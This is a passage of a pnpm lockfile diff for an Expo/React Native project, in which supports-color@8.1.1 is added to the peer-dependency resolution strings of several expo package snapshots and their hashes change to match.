expo-sharing@58.0.19(patch_hash=61a9741dc6166fdbb5baa2e489275a65dd21aa11d2c915f490a1b337a4468e76)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2): dependencies: - '@expo/config-plugins': 58.0.9(typescript@7.0.2) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) '@expo/config-types': 58.0.3 '@expo/plist': 0.10.1 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - supports-color - typescript - expo-splash-screen@58.0.10(expo@58.0.14)(typescript@7.0.2): + expo-splash-screen@58.0.10(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2): dependencies: - '@expo/config-plugins': 58.0.9(typescript@7.0.2) - '@expo/image-utils': 0.12.5(typescript@7.0.2) - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) + '@expo/image-utils': 0.12.5(supports-color@8.1.1)(typescript@7.0.2) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) xml2js: 0.6.0 transitivePeerDependencies: - supports-color - typescript - expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-sqlite@58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: await-lock: 2.2.2 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) expo-structured-headers@58.0.1: {} - expo-symbols@58.0.4(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-symbols@58.0.4(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: '@expo-google-fonts/material-symbols': 0.4.38 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-font: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-font: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) sf-symbols-typescript: 2.2.0 expo-updates-interface@58.0.1(expo@58.0.14): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) - expo-updates@58.0.17(expo-dev-client@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-updates@58.0.17(expo-dev-client@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1): dependencies: '@expo/code-signing-certificates': 0.0.7 - '@expo/env': 2.5.2 + '@expo/env': 2.5.2(supports-color@8.1.1) '@expo/plist': 0.10.1 '@expo/spawn-async': 1.8.0 '@react-native/asset-utils': 0.88.0 arg: 4.1.3 chalk: 4.1.2 - debug: 4.4.3 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + debug: 4.4.3(supports-color@8.1.1) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-eas-client: 58.0.2 expo-manifests: 58.0.1(expo@58.0.14) expo-structured-headers: 58.0.1 @@ -19250,68 +18939,68 @@ snapshots: ignore: 5.3.2 nullthrows: 1.1.1 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) resolve-from: 5.0.0 optionalDependencies: - expo-dev-client: 58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + expo-dev-client: 58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) transitivePeerDependencies: - supports-color - expo-video@58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + expo-video@58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - expo-web-browser@58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)): + expo-web-browser@58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)): dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - expo-widgets@58.0.20(patch_hash=8bf49067f93742855e15f29559ac75c8b50230b47069060993c9ea01dac11171)(@babel/core@7.29.7)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): - dependencies: + ? expo-widgets@58.0.20(patch_hash=8bf49067f93742855e15f29559ac75c8b50230b47069060993c9ea01dac11171)(@babel/core@7.29.7(supports-color@8.1.1))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + : dependencies: '@expo/plist': 0.10.1 - '@expo/ui': 58.0.20(patch_hash=5a26480373850c1a7943919aa21f904151b335a0cb01042109e0746def37923e)(@babel/core@7.29.7)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + '@expo/ui': 58.0.20(patch_hash=5a26480373850c1a7943919aa21f904151b335a0cb01042109e0746def37923e)(@babel/core@7.29.7(supports-color@8.1.1))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - '@babel/core' - react-dom - react-native-worklets - expo@58.0.14(1106b1d11fc0fad6d0556b6a93329d99): + expo@58.0.14(f758e93be082e96fe84cde9538c0a615): dependencies: '@babel/runtime': 7.29.7 - '@expo/cli': 58.1.11(@expo/dom-webview@58.0.2)(@expo/metro-runtime@58.0.14)(bufferutil@4.1.0)(expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2))(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2)(utf-8-validate@6.0.6) - '@expo/config': 58.0.6(typescript@7.0.2) - '@expo/config-plugins': 58.0.9(typescript@7.0.2) - '@expo/devtools': 58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) - '@expo/fingerprint': 0.21.5(patch_hash=8fba80d6bbce46c72de427fe8c7907462d262a0bfe50c6b2b7ee9c4e0c61e5e1) - '@expo/local-build-cache-provider': 58.0.6(typescript@7.0.2) - '@expo/log-box': 58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/cli': 58.1.11(122bb879cf862e703fa54111e57fbca5) + '@expo/config': 58.0.6(supports-color@8.1.1)(typescript@7.0.2) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) + '@expo/devtools': 58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/dom-webview': 58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/fingerprint': 0.21.5(patch_hash=8fba80d6bbce46c72de427fe8c7907462d262a0bfe50c6b2b7ee9c4e0c61e5e1)(supports-color@8.1.1) + '@expo/local-build-cache-provider': 58.0.6(supports-color@8.1.1)(typescript@7.0.2) + '@expo/log-box': 58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@expo/log-box-utils': 58.0.2 - '@expo/metro': 58.0.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) - '@expo/metro-config': 58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(typescript@7.0.2)(utf-8-validate@6.0.6) + '@expo/metro': 58.0.0(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + '@expo/metro-config': 58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2)(utf-8-validate@6.0.6) '@ungap/structured-clone': 1.3.1 - babel-preset-expo: 58.0.17(@babel/core@7.29.7)(@babel/runtime@7.29.7)(expo-widgets@58.0.20)(expo@58.0.14)(react-refresh@0.14.2) - expo-asset: 58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) - expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) - expo-file-system: 58.0.9(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) - expo-font: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + babel-preset-expo: 58.0.17(@babel/core@7.29.7(supports-color@8.1.1))(@babel/runtime@7.29.7)(expo-widgets@58.0.20)(expo@58.0.14)(react-refresh@0.14.2)(supports-color@8.1.1) + expo-asset: 58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) + expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) + expo-file-system: 58.0.9(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) + expo-font: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-keep-awake: 58.0.3(expo@58.0.14)(react@19.3.0) - expo-modules-autolinking: 58.0.13(typescript@7.0.2) - expo-modules-core: 58.0.22(patch_hash=f0b0fd100550ed76e5c25b4d13eb7c9ff62825f8f197c53edf7bf447c50c9fb7)(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + expo-modules-autolinking: 58.0.13(supports-color@8.1.1)(typescript@7.0.2) + expo-modules-core: 58.0.22(patch_hash=f0b0fd100550ed76e5c25b4d13eb7c9ff62825f8f197c53edf7bf447c50c9fb7)(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) pretty-format: 29.7.0 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) react-refresh: 0.14.2 whatwg-url-minimum: 0.2.0 optionalDependencies: - '@expo/dom-webview': 